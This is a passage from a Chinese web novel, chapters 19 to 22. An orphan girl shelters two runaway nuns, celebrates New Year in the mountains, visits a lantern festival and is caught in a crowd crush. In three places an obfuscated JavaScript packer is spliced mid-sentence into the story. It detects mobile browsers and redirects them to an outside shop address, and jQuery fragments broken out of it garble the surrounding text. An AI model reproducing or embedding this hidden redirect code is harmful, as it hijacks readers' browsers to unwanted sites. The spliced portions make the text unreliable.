她说着,眼泪又掉下来:“我长得丑,师父看不上,只让我干活。可现在庵也没了,我……我不知道该去哪儿……” 许娇娇心里一阵酸楚。 她想起那日在柴房后看见静心哭,想起这个胆小怯懦的小姑娘,在水仙姑的魔爪下战战兢兢活了这么多年。 “进来吧。”她伸出手。 静心愣愣地看着她,不敢相信。 “快进来,外头冷。”许娇娇又说了遍。 静心这才慢慢站起身,跟着她进了屋。 屋里,静尘看见静心,也吃了一惊。两人对望着,眼眶都红了——她们都是从那魔窟里逃出来的人。 许娇娇去厨房热了粥,又烙了几张饼。三个人围坐在火塘边,捧着热乎乎的碗,谁也没说话,可这寂静里却有种说不出的暖意。 吃罢饭,许娇娇开始安排住处。茅屋只有一间正屋,她让静尘和静心睡床上,自己打算在墙角搭个地铺。 “那怎么行?”静尘忙道,“你睡床,我打地铺。” “我是主人,我说了算。”许娇娇难得强硬一回,“师姐身子还没好利索,静心也冻得不轻,你们睡床暖和。” 她说着,已经开始铺稻草。静尘知道拗不过她,只好帮着一起收拾。 这一夜,小小的茅屋里住了三个人,竟显得格外拥挤,却也格外热闹。 静尘和静心都是勤快人。静尘会认草药,帮着许娇娇晒药、分药;静心虽然胆小,但手脚麻利,做饭洗衣打扫,样样都做得妥帖。 许娇娇总算松了一口气,有人帮忙做饭真好。 三个女子在这深山里,竟把日子过得有模有样。 可许娇娇心里那根弦,始终没松下来。 水仙姑被抓已经两个多月了,县衙那边一点消息都没有。赵秀才托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三人留李婆子吃了午饭。饭桌上,李婆子压低声音说:“我让二根又去打听了一回,还是没信儿。不过听说……宋县令前些日子去了府城,说是述什么职,我也不懂。可这一去就是几个月,还没回来。” 许娇娇心里一动:“府城?” “嗯。”李婆子点头,“咱村的耆老的那个侄孙,张三郎,你还记得不?在县衙做官的那个。” 许娇娇点点头:”记得。”原主小时候见过,长得十分精明能干有心计。 “他前儿不是回来了,骑着马,威风得很,他说的话还能有假?还有那个孙都头,调走了,说是调去邻县。新来的都头姓陈,面生得很。” 这消息让许娇娇更加不安。调走知情人,换上新面孔,归平县的水怕是比她想象的还要深,看来水仙姑的后台很硬。 “阿婆,”她握住李婆子的手,“往后您也少往山上跑。村里若是有人问起我们,您就说不知道。” 李婆子看着她,叹了口气:“乖囡,阿婆知道你在担心什么。可这世道……咱们小老百姓,能怎么办?” 是啊,能怎么办? 许娇娇望着窗外灰蒙蒙的天。雪花开始飘了,细细密密的,像是要把这山、这林、这茅屋,都埋进一片纯白里。 可她心里清楚,有些事,是埋不住的。 就像雪化之后,该露出来的,终究会露出来。 送走李婆子,许娇娇站在院门口,看着雪花一片片落下。 静尘走过来,给她披了件衣裳:“小施主,进屋吧,外头冷。” 许娇娇没动,只是轻声问:“师姐,你怕吗?” 静尘沉默片刻,摇了摇头:“从前在水月庵,日日夜夜都怕。现在……反倒不怕了。” “为什么?” “因为有了你们。”静尘看着屋里透出的灯光,笑了,“从前是一个人,现在是三个人。三个人在一起,还有什么好怕的?” 许娇娇转过头,看着她的笑容,心里那块大石头,忽然轻了一些。 是啊,三个人。 兵来将挡,水来土掩。她们三个女子,在这深山里,也能把日子过下去。 雪越下越大了。 茅屋里,火光暖暖地亮着。旺财趴在门口,耳朵竖着,警惕地望着山路。 20. 第20章 山中除夕 日子如流水滑过,转眼到了大年三十。 许娇娇记得前世时,每逢过年,家里亲戚聚齐,热闹非凡。祖父坐在太师椅上,笑呵呵地给孙辈发压岁钱;父母在厨房里忙活,一个炖肉一个包饺子,香气能从灶间飘满整个院子。她呢,总是最晚回家的那个,总要熬到腊月二十九才能脱身。父母的责备电话里带着喜悦:“又这么晚!全家就等你一个!” 当时总觉得烦,嫌他们啰嗦,嫌家里吵闹。如今想来,那责备里藏着的牵挂,那喧闹里裹着的温情,都成了回不去的念想。 她站在茅屋门口,望着远山覆雪,怔怔出神。 “小施主,想什么呢?”静尘的声音从屋里传来。 许娇娇回过神,笑了笑:“没什么,就是觉得……这山里的年,和城里不太一样。” 静尘端着盆热水出来:“是不一样。城里爆竹喧天,咱们这儿……安静。” 安静。是啊,太安静了。自从水仙姑被抓,找她看病的人也少了很多,也许是山路难行,尤其又下了雪。年关将近,不管是富人还是穷人,都想安安稳稳过个好年吧! “没有走亲访友的喧哗,没有街坊邻居的拜年声,就连爆竹声,也只在极远的山下隐隐传来,像是隔着一层厚厚的棉絮。”却是安静。许娇娇淡淡的放佛自言自语。 可这份安静里,也有别样的踏实。 水仙姑被抓真好,那个狗腿子静非也不见了踪影,少了很多麻烦,不过许娇娇心里还是有点不太踏实,那个静非曾在大雨夜冒充她害张大的媳妇一尸两命这件事,她时不时想起来心里还是一阵刺痛。 这几年,她试着根据前世的记忆配制了几款成药,家里如今切药刀、药碾子,石臼、研钵、搓丸板、但凡成药的工具都基本齐全。静尘根据她的指点帮着碾药,她则根据配方合药。忙了好些日子,才将托张记生药铺寄卖的药丸子做好。静心则帮着打打下手,看着她忙活,眼里都是好奇和惊讶已经被习以为常取代。 她又让孙二根帮忙,把秋末采的最后一批草药和这批药丸送到张记生药铺。张东家见了她的草药,又是一番称赞,给了个公道的价钱——一两三钱碎银。又托孙二根捎回了上次寄卖药丸子所得的银钱。又一包红枣、一包红糖,说是过年礼。 李婆子那边,也把替她保管的四两银子一并托孙二根带了过来,还带了几句话。 李婆子的原话是:“娇杏那边现在多了两张嘴,如今米粮价高,她一个小人也是运气好,才得了赏银。我本打算替她存着,可你看你那外甥——成日里不着家,但凡回来,不是问我要银子,就是在外头借钱。如今村子都被他借遍了,谁家还肯借他?去年借了王寡妇三百钱,人家追着他要,他倒好,跑没影儿了,最后还不是我替他还的。我这是造了什么孽,生了这么个败家子!” “如今连大郎媳妇一个小辈都指着我的鼻子骂我偏心。我要不是看在两个孙儿还小,可怜他们的娘早早走了……我为他操了多少闲心?他倒好,甩手掌柜一般,任啥也不干,那地里的荒草都长到人高了……” “罢了罢了,你将她存在我这里的银子带给她。过年了总得置办些吃食家用。但也得嘱咐她省着点用——她还小,别被人撺掇着胡乱花销了。” 许娇娇知道,李婆子这话半是体贴,半是顾虑。她那个不成器的二儿子成天在外胡混,若是知道家里藏着银子,保不准哪天就摸走了。到时候丢了钱,不但对不住娇杏,更对不住死去的许大郎夫妇。 这份细心,让许娇娇心里暖了很久。她也没白拿,让孙二根带回了一只肥硕的野兔——是她前几日在后山下的陷阱逮到的,还有静尘和静心做的米糕、芝麻糖,用油纸仔细包好。 礼尚往来。就冲李婆子这个为人,她会把她当成祖母敬着。 腊月三十,天还没亮透,三人就都起来了。 静心最先起身,轻手轻脚地生火烧水。灶膛里的火光照亮她认真的小脸——这丫头自从来了茅屋,像是换了个人,不再终日畏畏缩缩,眼里渐渐有了光。 静尘在里屋整理床铺,把被褥叠得整整齐齐。许娇娇则从箱底拿出三件新夹衣——这是她前些日子托李二根从城里捎回的布料,静尘和静心熬了几夜赶制出来的。 夹衣用的是粗蓝布,里头絮了新棉花,针脚密密实实。虽不算精致,可在这寒冬里,比什么都金贵。 “来,试试。”许娇娇把衣服递过去。 静尘接过,摸了摸厚实的夹袄,眼眶有些发红:“这……这太费布料了。” “过年嘛,总要穿点新的。”许娇娇笑道,“快穿上看看。” 静尘摸了摸她的头,语气温柔敦厚:“你年岁比我和静心都小,竟是如此聪慧……许是父母早亡吧,你这小施主早慧多智得让人惊艳。” 三人换上夹衣,互相打量着,都笑起来。 静尘穿着合身,衬得她温婉端庄;静心个子小,衣摆略长了些,可小姑娘爱惜得不得了,轻轻抚着衣襟,生怕弄皱了。许娇娇自己那件最是妥帖,蓝布衬得她小脸越发白净,眉眼间的稚气里,竟透出几分不属于这个年纪的沉稳。 “真好看。”静心小声说。 许娇娇揽过她的胳膊:“咱们都好看。” 早饭简单,热了昨夜的剩粥,就着咸菜吃了。饭后,三人开始忙活年夜饭。 静尘和面,准备包饺子——这是许娇娇教的。山里没韭菜,就用白菜拌着野葱做馅,再剁些腊肉丁提味。静心洗菜切菜,许娇娇则处理了只野鸡——这也是她在后山下的陷阱抓到的。 鸡肉用盐水泡过,去了腥气,切成小块。她想起前世爷爷教的法子,用山里采的花椒、八角,加上姜蒜,慢火炖上。不多时,肉香就飘满了屋子。 “真香啊。”静心吸着鼻子,眼睛亮晶晶的。 “一会儿还有更香的。”许娇娇笑道。 她又取出李婆子送来的腊肉,让静心切成薄片,和冬笋一起炒。笋是前几日挖的,埋在屋后雪地里,鲜嫩得很。 灶台上渐渐摆满了菜:炖鸡肉、腊肉炒笋、白菜豆腐、还有一碟煎得金黄的鸡蛋饼。最后是一大盆饺子,白白胖胖的,在沸水里翻滚。 忙活到晌午,菜都齐了。 三人把桌子搬到堂屋正中——这桌子是许娇娇用旧木板拼的,虽不平整,却也结实。碗筷摆好,菜一道道端上来,小小的桌子竟摆得满满当当。 “等等。”许娇娇忽然想起什么,从怀里掏出三个小红包。 那是她用红纸自己糊的,里头各包了二十文钱——不多,就是个意思。 “压岁钱。”她把红包递给静尘和静心,“愿咱们新的一年,平平安安。” 静尘接过红包,手都在颤:“这……这怎么使得……” “使得。”许娇娇按住她的手,“咱们是一家人。” “一家人”三个字,让静尘的眼泪终于掉下来。她连忙擦去,重重点头:“对,一家人。” 静心也哭了,抱着红包不撒手——这是她这辈子,第一次收到压岁钱。 三人正要动筷,外头忽然传来旺财的叫声,紧接着是“砰砰” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222031|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的敲门声。 许娇娇心头一紧,起身往外看。却见门口站着个身影——是李婆子的大孙子大郎,十一二岁的半大少年,脸蛋冻得红扑扑的,怀里抱着个布包袱。 “大郎?你怎么来了?”许娇娇忙开门让他进来。 大郎吸了吸鼻子,把包袱递过来:“阿婆让我送来的。说给你们添个菜。” 许娇娇接过包袱,打开一看——里头是炸丸子、炸豆腐,还有一小块熏鱼,都用油纸仔细包着。最底下还有个小酒壶,用软木塞塞着。 “阿婆说,这是二根舅舅自己酿的米酒,让你们暖暖身子。”大郎脆生生地说,“阿婆还说,她家里一摊子事,今儿走不开,等过了初五再来瞧你们。” 许娇娇心里一暖:“你阿婆家里……都好吧?” “好着呢!”大郎点点头,“二叔今日难得在家,帮着劈柴。阿婆说我舅母也能下地了,阿婆说,今年过年总算能齐整些。” 他说着,眼睛往桌上瞟了瞟,见那一桌菜,悄悄咽了口口水。 静尘忙拿了碗筷:“大郎吃了没?在这儿一起吃吧。” 大郎摇摇头:“不了,阿婆让我送了东西就回去,说家里等着我吃饭呢。” 大郎看着一桌好吃的有些腼腆的笑。 许娇娇笑了,用油纸包了两个鸡腿、几个饺子,塞进他怀里:“带回去给二郎尝尝。” 大郎眼睛一亮:“谢谢娇杏姐姐!” “路上慢点,天黑前一定到家。”许娇娇叮嘱道。 “嗯!”大郎抱着油纸包,欢欢喜喜地跑了。 三人重新坐下,看着桌上李婆子送来的菜,心里都暖融融的。 许娇娇给每人倒了点米酒,淡黄的酒液在粗瓷碗里荡漾,香气扑鼻。她端起碗:“来,咱们碰一个——愿新的一年,无病无灾,日子越过越好!” “无病无灾,日子越过越好!”三人齐声应和,碗碰在一起,叮当作响。 这顿年夜饭吃得格外香甜。没有喧闹的人声,却有温暖的陪伴;没有满桌的珍馐,却有彼此的心意。 饭后,三人收拾了碗筷,围着火塘坐下。静心拿出针线,开始缝补衣裳;静尘则拿起一本旧经书,轻声诵念。许娇娇靠在墙上,看着跳跃的火光,思绪飘远。 忽然,山下远远又传来爆竹声。 噼里啪啦,断断续续,在这寂静的山谷里回荡。 “放爆竹了。”静心抬起头,眼里映着火光。 “是啊,放爆竹了。”许娇娇轻声道。 辞旧迎新。不管旧年有多少艰难,新年总会来。 就像这山里的雪,再厚也会化;就像崖边的野草,再冷也会发新芽。 也不知那一世的父母家人都安好吧! 而此刻,山下的落溪村里,家家户户的灯火也渐次亮起。李婆子家的堂屋里,一家人难得齐齐整整地围坐着,桌上摆着简单的饭菜,却有难得的团圆。 大郎把油纸包打开,鸡腿的香气顿时弥漫开来。二郎欢呼一声,伸手就要拿。 “慢着,”李婆子拍开他的手,把鸡腿分给两个孩子一人一个,“这是娇杏妹妹给的,要记着人家的好。” “记着呢!”大郎咬了口鸡腿,含糊不清地说,“娇杏姐姐真好。” “是妹妹,”李婆子拍了拍他的头,“娇杏比你小呢!” 妹妹也好,姐姐也罢!只要有鸡腿吃,都好!大郎一边吃一边在心里想。 李婆子望着窗外黑沉沉的山影,心里默默念叨:乖囡,愿你也能过个好年。 21. 第21章 元宵夜 出了正月十五,年才算真正过完。 这几日山里一直飘着小雪,茅屋屋檐下挂了一排冰棱子,晶莹剔透。静心早起生火烧水,不小心碰掉一根,“啪嗒”一声脆响,把自己吓了一跳。 静尘正在念经,闻声抬起头,见她手足无措的模样,忍不住笑了:“碎了就碎了,没伤着就好。” 许娇娇从屋里出来,手里拿着个小布袋:“今天十五,咱们下山看花灯去。” “看花灯?”静心眼睛一亮,“去镇上吗?” “不,去菰城。”许娇娇把布袋递给她,“城里灯会热闹,我让孙二叔带咱们去。” 静尘却有些犹豫:“这……菰城那么远,走官道更远,要想走近道,必须要乘船呢!人多眼杂的,会不会不安全?” “放心吧师姐,”许娇娇早有打算,“咱们早去早回。再说,我都跟孙二叔讲好了,他这回要赶牛车去城里送柴禾,咱们坐他车去也方便,不往人多的地方挤就是了。” 她顿了顿,又道:“我也想去城里看看,买些日用物品。如今连个像样的澡盆都没有,每次洗澡都是简单擦洗。”说到这里,她一脸无奈,“每日只用一木盆水擦身子,大冬天的又冷又不干净,真是够够的了。还要再看看有没有书肆,我想买几本书,顺便把年前没卖完的那些草药带去张掌柜那儿卖了。” 其实她还有另一层心思——在山里闷了几个月,也该出去透透气了。水月庵到现在还被官府封着,她更想打听一下消息。更何况,元宵灯会是一年中最热闹的时候,错过了实在可惜。 静尘见她心意已决,便不再劝,只道:“那咱们都穿厚些,城里虽然比山中暖和,但夜里还是冷的。” 三人收拾妥当,许娇娇特意换上李婆子送的新棉鞋,又给旺财留足了吃食,这才锁了门下山。 孙二根已经在山口等着了。他赶着辆旧牛车,车上铺了层厚厚的稻草,又垫了块旧毡子。 “娇杏,这边!”孙二根挥挥手,脸上带着憨厚的笑,“我阿姐说让我一定把你们照顾好,可不能出岔子。” 许娇娇笑着爬上车:“麻烦二根叔了。” 静尘和静心也跟着上了车,三人挤在稻草堆里,倒也不觉得冷。 牛车缓缓上路,车轮碾过积雪,发出“咯吱咯吱”的声响。 路上,许娇娇想起一事,问道:“二根叔,金桂婶的病好些了吗?” 孙二根闻言,脸上露出笑容:“好多了!多亏了你那方子,你金桂婶轻省多了。如今虽还有些疼痛,但比原先好太多了,晚上已经能睡安稳觉了。” 他转头看了许娇娇一眼,眼神里满是感激:“娇杏,你这记性真好。你阿爹的那些方子幸亏你聪慧,记得住,往后啊!你也和你阿爹一样,定能做个好郎中。” 许娇娇心里一松,眉开眼笑,一张小脸越发可爱:“多谢二根叔吉言,能帮上忙就好。这回到了菰城,我找个书肆买些纸张,我这里还记起了我爹的一个方子,比之前的那个效果更好,到时候给金桂婶换个方子,再吃吃看。” “那真是太好了,”孙二根闻言大喜。 之前已经换过方子,那个方子就很好,且药也都是普通的药材,并非多么贵重。若这回吃了这个方子,金桂能更好,他心头的担子也会轻省许多。 他将牛车赶得更加用心了。心里对已故的许大郎充满了敬意,对许娇娇也越发热情周到。 和之前一样,他们在中途换了渡船,等到菰城时,已是午后。 今日的菰城果然不同往日。还未进城,便见城门上挂了硕大的红灯笼,城墙上彩旗飘飘。进城后,街上行人摩肩接踵,两旁店铺张灯结彩,卖糖人的、吹糖画的、捏面人的,各式小摊挤满了街边,吆喝声此起彼伏。 “先去张记生药铺,”孙二根扬着鞭子“嘚嘚”了两声,“我先将你们送到生药铺,把草药送过去,然后你们先逛着,我去将木柴送完来寻你们。” “好,二根叔,这样吧!”许娇娇想了想,“二根叔你去送货,不要管我们啦!我们要在城里好好逛逛,看完花灯,我们约好的地方见。” “也好。”孙二根应了声,赶着牛车往城东走。 张记生药铺今日也格外喜庆,门口挂了两个八角灯笼,贴着红纸写的“福”字。张东家正在柜台后头打算盘,见许娇娇进来,眼睛一亮:“哟,许小娘子来了!新年吉祥啊!” “张伯伯您也新年吉祥。”许娇娇笑着行礼,让孙二根把草药搬进来。 张铺主验了货,连连点头:“晒得干脆,收拾得也干净,越发好了。这批草药,我给你算一两五钱,如何?” 许娇娇知道这价格公道,便应了下来。张铺主又拿出一包东西:“这是年节里客人送的糕饼,我留了些,给你们尝尝。” 许娇娇谢过,接过糕饼,又问了问近来什么药材紧俏。张铺主说了几样,她一一记在心里。 从生药铺出来,天色尚早。许娇娇看着孙二根驾车离开的背影,转身对静尘和静心道:“师姐,静心,咱们去趟书肆吧。” 静尘有些意外:“书肆?你要买书?” “嗯,”许娇娇点头,“想买些医书看看,再买点别的。” 静心小声问:“娇杏妹妹,书很贵的……” “我知道,”许娇娇拉了拉她的手,“咱们先看看,不一定买。” 其实她怀里揣着张东家刚给的一两五钱银子,加上之前攒的,有近六两了。这在乡下算是一笔不小的钱财,但买书……确实得精打细算。 三人沿着青石板路往前走,转过一个街角,便看见一家不大的书肆。 门面古朴,黑漆匾额上写着“墨香斋”三个鎏金大字。门口挂着一副对联:“架上文章皆锦绣,胸中翰墨自芬芳。”虽不算气派,却透着一股书卷气。 推开厚重的木门,一股淡淡的墨香混合着纸张特有的气味扑面而来。店里光线有些昏暗,一排排书架高及屋顶,上面整整齐齐码着线装书。靠窗的位置摆着张长条桌,上面摊着几本翻开的书,一位须发花白的老先生正伏案抄写着什么。 听见动静,老先生抬起头,推了推鼻梁上的玳瑁眼镜:“几位小娘子,要买什么书?” 他的声音温和,没有因她们衣着朴素而怠慢。 许娇娇上前一步,行了个礼:“老先生,我们想看看医书,还有……地理志、风物志之类的。” 老先生放下笔,站起身:“医书在左边第三排,地理风物在右边第二排。你们自己看吧,有要的叫我。” 说完又坐下继续抄写,不再打扰她们。 许娇娇道了谢,领着静尘和静心往左边走。静尘和静心都大字不识一个,两人跟在许娇娇身后,都有些拘谨。 医书区的书不少,大多是些常见的《千金方》《本草纲目》《伤寒论》之类。许娇娇随手拿起一本翻看,发现内容与她前世所知的大同小异,只是版本不同,注解有异。 她又翻了几本,忽然眼睛一亮——角落里放着一套《许氏医案》,薄薄三册,纸张已泛黄,显然有些年头了。 “许氏……”许娇娇喃喃念着,翻开扉页。 里面记载的是一个姓许的郎中的行医心得,多是些常见病的治疗案例,文字朴实,记录详实。从时间上看,这位许郎中应是百年前的人物了。 “老先生,这套书怎么卖?”许娇娇捧着书走到柜台前。 老先生抬眼看了看:“哦,这套啊……放了有十来年了,一直没人要。你要的话,给一百文吧。” 一百文!静尘和静心都暗暗咋舌。 许娇娇却觉得值。她数出钱来递给老先生,又问:“老先生,您这儿有介绍各地风土人情的书吗?还有……史书?” 老先生接过钱,认真打量了她几眼:“小娘子……竟对这些感兴趣?” “就是想多了解些。”许娇娇含糊道。 老先生神色有些诧异,他看了看许娇娇身后的静尘和静心,顿了顿,本想说点什么,随即又一笑,走到右边书架前,取了几本书出来:“这本《大越舆地纪略》是十年前编的,虽然有些地方过时了,但大体不差。这本《九州风物志》写的是各地特产风俗。至于史书……”他顿了顿,“《大越通史》太贵,要二两银子一套。你若只是想了解本朝历史,这本《大越开国纪事》比较便宜,只要三百文。” 许娇娇接过来翻看。全是繁体字,不过许娇娇前世看过很多繁体范本,这本《大越舆地纪略》里的字她勉强都认得。她仔细翻阅,只见里面详细记载了大越朝的疆域、州府、山川河流,还有各地的气候物产。她又翻到江南道菰城那一章,上面写道:“菰城,隶属江南道吴越,地处天目山余脉,东临太湖,物产丰饶,盛产丝绸、茶叶、药材……” 她又翻了翻《大越开国纪事》,里面记载大越朝已历一百七十余年,当今圣上是第七位皇帝,年号景明,登基已有十五年。 “老先生,这书里说的大越朝……以前是什么朝代?”许娇娇试探着问。 老先生愣了愣,随即笑道:“小娘子问这个啊。大越之前是大梁,大梁之前是大陈,再往前就说不清了。这书里只写大越开国以来的事,你若想了解前朝,得看《梁史》《陈史》,那些就更贵了。” 许娇娇心里有数了——这是个与她前世所知历史完全不同的时空。 她又翻了翻其他书,最后选了《大越舆地纪略》和《大越开国纪事》,加上《许氏医案》,一共花了五百文。 老先生也许是很少见年纪这么小的娘子来买书,虽然他一直在低头书写,可时不时地抬头瞄一眼许娇娇,如今见她如此爽快,神色又和悦了几分,他从柜台下拿出几本旧书:“这几本是我收来的旧书,有些破损,但不影响阅读。小娘子你若想要,五十文全拿走。” 许娇娇接过一看,是几本杂书——《农桑辑要》《家常菜谱》《女诫注释》,还有一本薄薄的《千字文》。 她心头一动,翻开《千字文》,里面果然和现代的千字文一模一样,从“天地玄黄,宇宙洪荒”开始,配有简单图解。 “这本好,”许娇娇对静尘和静心说,“你们俩正好可以学认字。” 静心怯生生地看了看书,又看看许娇娇,眼睛里闪着期待的光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222032|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “都要了。”许娇娇又数出五十文。 老先生笑眯眯地把书包好,又送了她一刀粗纸和两支毛笔:“看小娘子是个爱读书的,这些送你。纸是次等纸,练字不心疼;笔也是普通的,初学够用了。” 许娇娇连声道谢,抱着书出了书肆。 静尘帮她分担了一些,轻声问:“娇杏,买这么多书……银子还够用吗?” “够的,”许娇娇笑道,“这些书比粮食金贵,但值得。” 她心里盘算着:六两银子,花去五百五十文,还剩五两多。够她们三人生活好一阵子了。 三人又在街上逛了逛,买了些盐、针线、灯油等日常用品。许娇娇还给静心和静尘各买了朵头花——最便宜的绢花,一朵五文钱,静尘急忙推辞,她一个尼姑,怎么可以戴花,急得脸色通红。许娇娇捏了捏静尘的手,苦口婆心地劝道:“静尘姐姐,你出家做尼姑也不是你自己愿意的呀,你那时候小,不懂事,如今水月庵都被官府查封了,庵里都没人了,你也没地方去,你是可以还俗的呀!” “是呀是呀!”静心倒是十分喜欢,她珍重地将那头花藏在怀中。以前看起来胆小卑微的姿态已经不见了。她扬起一张笑脸露出一口牙——她比许娇娇大两岁,今年十三岁。“娇杏说的对呀!静尘姐姐,我也不是自愿当姑子的,我是被我爹卖给水仙姑的。”说到这里她脸色一变:“糟了,娇杏,我的卖身契还在水仙姑手中,这可怎么得了。” 许娇娇一听,也是心里一惊,她仔细想了想道:“你先别急,我们先不想这些,等回去了我想办法。” 静尘沉默了,她从小就跟着师父在水月庵出家,后来水仙姑来了,她的师父却......死了,再后来她一直跟着水仙姑,她应该也有身契的吧? 本来三人挺高兴,结果说到这个,大家都露出了愁容。还是许娇娇很快镇定了下来,她开导两人:“不急,车到山前必有路,我们一步一步来。总会有办法的。”两人听了许娇娇的话,也就作罢。 三人继续逛了逛,却都兴致不高了。看看天色渐晚,她们到约定的地点等李二根。许娇娇靠在墙边,迫不及待地翻开《大越舆地纪略》,如饥似渴地读起来。 原来她所在的这个世界,是一个叫大越的朝代。疆域辽阔,分十三道,下设州府县。江南道是其中最富庶的地区之一,菰城虽是小城,但因地处水陆要冲,贸易繁盛。 她又翻到介绍风俗的那一章,看到一行字:“大越承前朝旧制,士农工商,等级分明。女子十五及笄,可议婚嫁;男子二十弱冠,方可娶妻……” 街上的灯笼一盏接一盏亮起来,远远望去,整条街成了光的河流。 “真好看……”静心仰着头,眼睛都不够用了。 街边的花灯琳琅满目:有莲花灯,粉嫩的花瓣层层叠叠;有兔子灯,红眼睛长耳朵,憨态可掬;有走马灯,灯影转动,映出才子佳人的故事;还有龙灯、鱼灯、宫灯……各色各样,美轮美奂。 最引人注目的是街心搭起的一座灯楼,高约三丈,通体用彩绸和灯笼装饰,层层叠叠,璀璨夺目。灯楼下围满了人,不时发出惊叹声。 “咱们就在这边看看,别往里挤。”许娇娇拉着静尘和静心,在人群外围站定。 孙二根把牛车拴在南门口的老槐树下,已经在约好的地方等着了,见三人过来,忙笑着迎上。 “娇杏买了这么些书本,”他顺手接过许娇娇手中那摞用蓝布仔细包好的书册,掂了掂分量,眼里露出淳朴的赞许,“沉甸甸的,都是学问。” 他将书妥帖地拿好,笑容里多了几分怀念:“如今看你这样,倒真有几分你爹当年的模样。他若泉下有知,晓得小娘子这般上进,心里不知该多慰藉。” 越来越热闹,耍龙灯的队伍过来了。一条金龙在人群中蜿蜒游走,龙身里透出暖黄的光,龙眼是用红绸做的,在夜色中炯炯有神。舞龙的小伙子们赤着膀子,在寒风中腾挪跳跃,赢得阵阵喝彩。 静心看得入了迷,小脸兴奋得通红。 许娇娇也看得津津有味。这热闹的烟火气,让她恍惚间像是回到了前世的庙会。只是那时的她总是来去匆匆,很少真正停下脚步,感受这份喧闹中的温情。 正看着,忽然人群骚动起来。 “让开!让开!”几个穿着绸缎衣裳的仆从在前头开路,后头跟着一顶小轿。轿帘掀开一角,露出个十三四岁小娘子的侧脸——头戴金钗,耳坠明珠,一身锦缎在灯光下闪闪发亮。 “这是哪家的娘子?”有人低声议论。 “看这排场,定是大户人家的。” 轿子往灯楼方向去了,仆从们粗暴地推开挡路的人,引得一阵不满的嘟囔。 许娇娇皱了皱眉,拉着静尘和静心往旁边让了让。 就在这时,异变突生。 不知是谁喊了声“灯楼要倒了”,人群顿时炸开了锅。喧嚣声一阵接一阵传来,随着喊声,人群都往后撤退,后面的人往前挤,前面的人想后退,推搡间,惨叫声、哭喊声此起彼伏。 “娇杏,快走。”孙二根大喊,伸手去拉许娇娇。 22. 第22章 初遇 可人潮汹涌,瞬间就把他们冲散了。许娇娇只觉得四面八方都是人,她被推得踉踉跄跄,脚下不知踩到了什么,一个趔趄就要摔倒。 不好,许娇娇大惊,这要是摔倒了,那就会被人群踩成肉饼的!她奋力地往上窜,抓住一切可能抓到的东西,眼前全是人,哭喊声,怒吼声,大骂声,惨叫声……许娇娇吓得手脚都颤抖了,她不管不顾抓着前面人的衣襟衣袖后领往上爬,就这样被人架着双脚腾空随着人流往前挤,有人来扒拉她的胳膊,她狠心一口咬下去,那只手吃痛缩了回去。她指尖抠进布料的纹路里,借着这股拉扯的力道,双脚在混乱的人缝里胡乱蹬着,膝盖顶在那人的后腰上,硬生生将自己的上半身扒在了那人的背上。两手死死抓着那人的后衣领。她的脸贴在少年的后背上,能感受到他身上淡淡的松墨香混着上好熏香的味道,也能感觉到少年身体的僵硬和抗拒,可她顾不上这些,只是死死抓着这根“救命稻草”。期间那只被她咬过的手又要抓她,却被后面的人推着走远了。直到人群把他们推挤着走到了稍微靠边的地方,她总算能喘口气了,汗水顺着脸颊往下淌,心脏砰砰砰地剧烈跳动着。 “下来,哪里来的叫花子,给爷下来。”正在这时,一个气急败坏的声音响起。 许娇娇定睛一看,心里直道糟了。 原来刚才千钧一发之际,她随手抓了一个人的衣领,硬是爬在人家的背上被那人背了出来。 她急忙从那人的背后溜下来,嘴里也急忙道着歉,“对不住对不住,刚才人太多了,没有注意到,真对不住。”说着转身就要溜到旁边的巷子里去。 却被一只温热有力的手抓住了她的胳膊。 许娇娇抬头,对上一双喷火的眼睛。 她低头看着攥住自己胳膊的那只手——骨节分明,指腹带着薄茧,腕间系着一枚墨玉平安扣,衬得手腕愈发白皙。顺着手臂往上看,撞进眼帘的是一身月白色杭绸直裰,料子是上好的苏绣暗纹,领口袖边滚着银线,一看便知是富贵人家的公子。 少年约莫十三四岁的年纪,生得极好。眉如墨画,眼若寒星,鼻梁高挺,唇色偏淡,只是此刻那双漂亮的眼睛里满是愠怒,眉头拧成了川字,连带着精致的下颌线都绷得紧紧的。他周身透着一股矜贵的傲气,此刻正嫌恶地看着自己被许娇娇抓皱的衣领,另一只手还在轻轻拍打方才被她碰过的衣料,那副模样,像是沾了什么脏东西一般。 “哪里来的野丫头,这般不知礼数?”少年的声音清冽,却带着毫不掩饰的嫌弃,“爬在我背上还不算,竟还敢抓坏我的衣裳?这杭绸是姑苏定制的,你赔得起吗?” 许娇娇本就惊魂未定,被他呵斥一通,火气也上来了。她挣了挣胳膊,没挣开,便抬眼迎上他的目光,也不怯场:“公子这话好没道理。方才人群大乱,若不是我抓着你,怕是早被踩在下面了。我谢你还来不及,你反倒先怪罪我?何况我也不是故意抓皱你的衣裳,大不了我赔礼道歉便是,何必这般咄咄逼人?” 